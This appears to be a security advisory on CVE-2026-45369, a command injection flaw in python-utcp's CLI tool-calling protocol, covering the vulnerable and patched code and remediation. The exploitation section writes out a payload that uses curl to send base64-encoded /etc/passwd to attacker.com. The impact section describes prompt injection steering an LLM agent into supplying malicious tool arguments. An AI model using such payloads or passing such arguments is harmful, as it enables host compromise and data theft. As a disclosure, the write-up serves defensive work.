May 14, 2026·7 min read·9 visits
A command injection flaw in python-utcp's CLI protocol allows attackers to execute arbitrary commands by supplying unescaped shell arguments during tool invocation.
CVE-2026-45369 is a critical OS command injection vulnerability in the python-utcp library resulting from unsafe argument substitution in the CLI communication protocol. Unauthenticated attackers can execute arbitrary shell commands via specially crafted tool arguments.
CVE-2026-45369 is an OS Command Injection vulnerability (CWE-78) affecting python-utcp, the reference Python implementation of the Universal Tool Calling Protocol (UTCP). The vulnerability resides within the package's Command Line Interface (CLI) communication protocol module. Specifically, the flaw exists in how the library processes and formats external inputs before passing them to the underlying operating system shell.
The component responsible for this operation is the _substitute_utcp_args method, located in cli_communication_protocol.py. This method acts as a templating engine that maps user-provided arguments into a pre-defined command string. Because the templating mechanism lacks any native sanitization or context-aware escaping, it directly interpolates untrusted strings into the command structure.
Successful exploitation grants an attacker arbitrary code execution on the host system. The executed commands inherit the permissions and environment of the Python process running the UTCP client. This exposure presents a severe risk in environments where UTCP is integrated into external-facing AI agents or orchestration systems that autonomously process untrusted inputs.
The vulnerability affects all python-utcp versions prior to 1.1.2. The maintainers resolved the issue in version 1.1.2 by introducing strict shell quoting mechanisms specific to the host operating system. Administrators utilizing the library must update their dependencies and review their tool configuration definitions to ensure compatibility with the patched execution model.
The root cause of CVE-2026-45369 is the improper neutralization of special elements within a string substitution routine used to construct OS commands. The _substitute_utcp_args method relies on a regular expression substitution function to find placeholder tokens in the command template. These placeholders follow the format UTCP_ARG_argname_UTCP_END.
When the regex engine encounters a placeholder, it extracts the arg_name and retrieves the corresponding value from the tool_args dictionary. The application casts this value to a string and returns it directly to the substitution engine. The critical failure is the absence of any intermediate validation, filtering, or escaping logic. The string is inserted verbatim into the surrounding command structure.
Following substitution, the application embeds the resulting command into a multi-line shell script template. This script captures the standard output and standard error of the command using shell subshells or direct variable assignment. The application executes this final script by invoking a high-level shell interpreter, specifically /bin/bash -c on Unix systems and powershell.exe -Command on Windows systems.
By routing the command through a high-level shell interpreter rather than utilizing direct process execution APIs (such as os.execv or subprocess.Popen with a list of arguments), the application subjects the entire constructed string to shell parsing rules. Any shell metacharacters present in the untrusted tool_args input are evaluated by the shell, enabling standard command injection vectors.
The vulnerable implementation utilizes a local function named replace_placeholder as the callback for a regex substitution operation. The function retrieves the argument value and returns it as an unescaped string.
# Vulnerable implementation in cli_communication_protocol.py
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
return str(tool_args[arg_name]) # CRITICAL: Returns unescaped inputThe application then constructs the execution script. The unescaped string becomes part of a command substitution block. This guarantees that any injected shell commands execute concurrently or sequentially with the intended tool command.
# Execution script construction
script_lines.append(f'CMD_0_OUTPUT=$({substituted_command} 2>&1)')The patch applied in version 1.1.2 modifies the substitution logic to enforce OS-aware parameter quoting. On Unix-like systems, the patch utilizes shlex.quote(), which safely escapes strings to be used as single tokens in shell contexts. On Windows, the patch manually wraps the input in single quotes, conforming to PowerShell literal string requirements.
# Patched implementation in version 1.1.2
import shlex
import sys
def replace_placeholder(match):
arg_name = match.group(1)
if arg_name in tool_args:
val = str(tool_args[arg_name])
if sys.platform == "win32":
return f"'{val.replace(chr(39), chr(39)+chr(39))}'" # Escape single quotes in PowerShell
return shlex.quote(val)This remediation ensures that the expanded argument is always treated as a discrete data token rather than executable code. However, this architectural change intentionally breaks existing tool definitions that rely on a single placeholder expanding into multiple independent arguments (e.g., passing --verbose --debug via a single UTCP_ARG_flags_UTCP_END token).
Exploiting CVE-2026-45369 requires the attacker to supply input that ultimately populates the tool_args dictionary for a tool executed via the CLI protocol. In a typical deployment, this input arrives through external data provided to an orchestrator or an AI agent utilizing the UTCP interface.
The attacker crafts a payload utilizing standard shell separators. For Unix targets, the semicolon (;) or command substitution sequences ($(...)) serve to terminate the intended command and initiate a new one. The goal is to craft a string that remains syntactically valid when interpolated into the surrounding shell script template.
Consider a tool configured to execute python process_data.py --file UTCP_ARG_filename_UTCP_END. The attacker provides the following value for the filename argument: data.csv; curl http://attacker.com/$(cat /etc/passwd | base64). The _substitute_utcp_args method processes this input and generates the final command.
The resulting command executed by the shell becomes: CMD_0_OUTPUT=$(python process_data.py --file data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1). The shell interpreter evaluates the first statement up to the semicolon, executes the malicious curl statement, and assigns the combined output to the environment variable. The attacker successfully exfiltrates the base64-encoded contents of the /etc/passwd file.
The following diagram illustrates the data flow from untrusted input to arbitrary command execution, highlighting the critical failure point in the regex substitution logic.
The red nodes indicate the precise moments where untrusted data crosses trust boundaries. The transition from the Python execution context into the shell execution context without adequate sanitization forms the core mechanics of this vulnerability.
The exploitation of CVE-2026-45369 leads to complete compromise of the process running the UTCP client. An attacker gains the ability to read arbitrary files, modify system state, exfiltrate credentials in memory, and pivot to other systems accessible from the compromised host. The severity of the impact scales directly with the privileges assigned to the python-utcp process.
The GitHub CNA assessed the vulnerability with a CVSS v3.1 score of 10.0 (Critical), utilizing the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. This scoring reflects environments where the UTCP implementation is exposed to external network traffic without intermediate authentication requirements. The NVD assessment presents a lower score of 8.3, classifying the attack complexity as High and requiring User Interaction, assuming the tool invocation is a manual, localized process.
In modern AI architectures, this vulnerability introduces substantial risk. Large Language Models (LLMs) configured to act as autonomous agents often invoke UTCP tools based on prompts and external data. An attacker can employ prompt injection techniques to manipulate the LLM into generating malicious tool arguments. The LLM acts as a confused deputy, autonomously triggering the command injection vulnerability against its host infrastructure.
The definitive remediation for CVE-2026-45369 is upgrading the python-utcp (and utcp-cli) package to version 1.1.2 or later. The patch enforces strict quoting of all substituted arguments, fundamentally eliminating the injection vector. Organizations must implement this update across all environments utilizing the UTCP protocol.
Following the update, development teams must review their tool configuration definitions. Because the patch wraps placeholders in explicit shell quotes, a single placeholder can no longer expand into multiple separate arguments. Tools that previously relied on this behavior must be refactored to define discrete placeholders for each required argument, ensuring compatibility with the secure parsing logic.
If immediate patching is technically prohibitive, administrators must implement robust input validation prior to tool execution. This involves parsing the tool_args dictionary and validating all string inputs against strict allowlists (e.g., alphanumeric characters only). Any input containing shell metacharacters must trigger an execution denial and log a security alert.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
python-utcp (utcp-cli) universal-tool-calling-protocol | < 1.1.2 | 1.1.2 |
| Attribute | Detail |
|---|---|
| CWE | CWE-78: OS Command Injection |
| Attack Vector | Network |
| CVSS Score | 10.0 (Critical) |
| Impact | Remote Code Execution |
| Exploit Status | Proof of Concept Available |
| KEV Status | Not Listed |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.